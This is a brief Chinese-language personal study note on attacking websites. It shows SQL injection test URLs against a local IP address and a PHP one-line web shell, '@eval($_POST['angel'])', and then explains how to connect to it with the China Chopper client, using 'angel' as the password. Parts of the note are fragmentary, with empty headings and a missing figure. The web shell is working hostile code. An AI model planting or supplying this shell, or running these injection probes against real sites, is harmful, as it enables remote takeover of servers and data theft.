小兴的学习笔记

1.首先确定是否存在注入点 http://192.168.16.128/news.php?id=1 http://192.168.16.128/news.php?id=1'     出错或显示不正常 http://192.168.16.128/news.php?id=1 and 1=1    正常 http://192.168.16.128/news.php?id=1 and 1=2

1.一句话木马 PHP //加容错代码 @eval($_POST['angel']) //绕过<?限制 //绕过某些限制 ASP ASPX 2.连接菜刀 如下图：右键--添加即可。 angel为 $_POST['angel']这里的angel相当于密码。 然后就可以操作了。 菜刀下载地址：菜刀